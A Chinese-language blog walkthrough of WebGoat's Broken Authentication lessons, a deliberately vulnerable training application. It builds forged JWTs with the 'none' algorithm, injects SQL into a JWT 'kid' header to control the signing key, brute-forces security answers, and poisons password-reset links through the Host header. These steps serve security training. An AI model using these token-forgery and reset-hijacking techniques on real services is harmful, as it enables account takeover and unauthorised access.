【webGoat】Broken Authentication
前言:
介绍:
博主:网络安全领域狂热爱好者。
殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
导读:
面向读者:对于网络安全方面的学者。
本文知识点:
【中断的身份验证】
目录
Broken Authentication(中断的身份验证)
一、Authentication Bypasses(绕过身份验证)
Broken Authentication(中断的身份验证)
一、Authentication Bypasses(绕过身份验证)
第2题:
随便提交,然后抓到包
发送到repeater进行研究
secQuestion0和secQuestion1
如果改为2,3的话(任何可能不存在的),没有对应的问题和答案
可能输入null=null,或者输入什么都是对的
改后返回数据包为true
二、JWT tokens
第3题:
直接使用JWT在线解密工具
用户名为
user
第5题:
这个垃圾桶是重置的意思
想尝试2个方法
1、通过切换用户,将其他用户的权限通过JWT提升为admin(失败)
2、执行删除操作,以admin权限进行 (成功)
方法一(失败)
点击切换为角色Tom
并抓包,其中一个包中发现了token
JWT解密后
"admin": "false",要将其改为true
避免爆破,直接将其改为{ “alg”: “none”}
base64编码:
{
"alg": "none"
}为
ewoKImFsZyI6ICJub25lIgp9
{
"iat": 1665554118,
"admin": "true",
"user": "Tom"
}为
ewoiaWF0IjogMTY2NTU1NDExOCwKImFkbWluIjogInRydWUiLAoidXNlciI6ICJUb20iCn0=
(提示:编码时,别带空格,不然最后会这样)
组合(要去掉=,还要加.):
ewoKImFsZyI6ICJub25lIgp9.ewoiaWF0IjogMTY2NTU1NDExOCwKImFkbWluIjogInRydWUiLAoidXNlciI6ICJUb20iCn0.
只改JWT,失败
头部删掉后,但还是失败
方法二(成功)
点击垃圾箱,并抓包,改JWT
ewrCoCAiYWxnIjogIm5vbmUiCn0.ewogICJpYXQiOiAxNjY1NTU0MTE4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
然后这题就绿了,完成了
第7题:
第8题:
爆破密钥
第10题:
题意为:自己买东西,让Tom支付
根据提示找到已经失效的token
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
加密方法改为none
base64编码:
{
"alg": "none"
}为
ewoKImFsZyI6ICJub25lIgp9
exp是时间戳,在这个基础上推迟几十秒
1664698210(这位结束时间,最好在现在的后面2分钟)
我这里是过关后截图的
base64加密
{
"iat": 1526131411,
"exp": 1664698210,
"admin": "false",
"user": "Tom"
}为
ewoiaWF0IjogMTUyNjEzMTQxMSwKImV4cCI6IDE2NjQ2OTgyMTAsCiJhZG1pbiI6ICJmYWxzZSIsCiJ1c2VyIjogIlRvbSIKfQ==
组合起来(删除=,加上.)
ewoKImFsZyI6ICJub25lIgp9.ewoiaWF0IjogMTUyNjEzMTQxMSwKImV4cCI6IDE2NjQ2OTgyMTAsCiJhZG1pbiI6ICJmYWxzZSIsCiJ1c2VyIjogIlRvbSIKfQ.
点击checkout后,抓到数据包
发送到repeater
将JWT插入到Authorization后面部分
第11题:
(参考的大佬的方法)
点击,删除Tom,抓包
并发送到repeater
eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8
1、kid没有防御SQL注入,存在注入点
'; select 'MQ==' from jwt_keys --
2、改变username
Tom
3、改时间戳
1618905304改为现在以后的时间戳
1664703610
3、SQL注入查询的结果会作为签名算法的秘钥来对header和payload进行加密
1
将改后的JWT填上去返回true了
三、Password reset(密码重置)
启动webwolf
webwolf出点问题了(在powershell下,解决方法好像是需要将编码方法引起来)
java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar
(在管理员命令提示符下成功了)
点击进行启动webwolf页面
并使用webGoat账号进行登陆
第2题:
测试webwolf是否可用
使用自己的用户名+@webgoat.org
收到了新密码
新密码登陆
第4题:
会提示用户是否存在
然后对存在的用户进行爆破
(颜色可能是英文,可能是中文)
爆破就那些个颜色,没啥难搞的
tom
purple
第5题:
第6题:
先尝试重置自己的密码
点击link
fcc02a5f-2c90-4178-974f-048ed485640c可能是身份
尝试修改Tom密码
再发送邮件
抓包,并发送到repeater
修改Host访问本地的webwolf发邮件
webwolf抓到链接
复制后面的身份验证凭证
(替换重置自己身份的那个URL的身份信息)
9112825a-e642-4eaa-96ad-233e422696cb
登陆成功
- 点赞
- 收藏
- 关注作者
评论(0)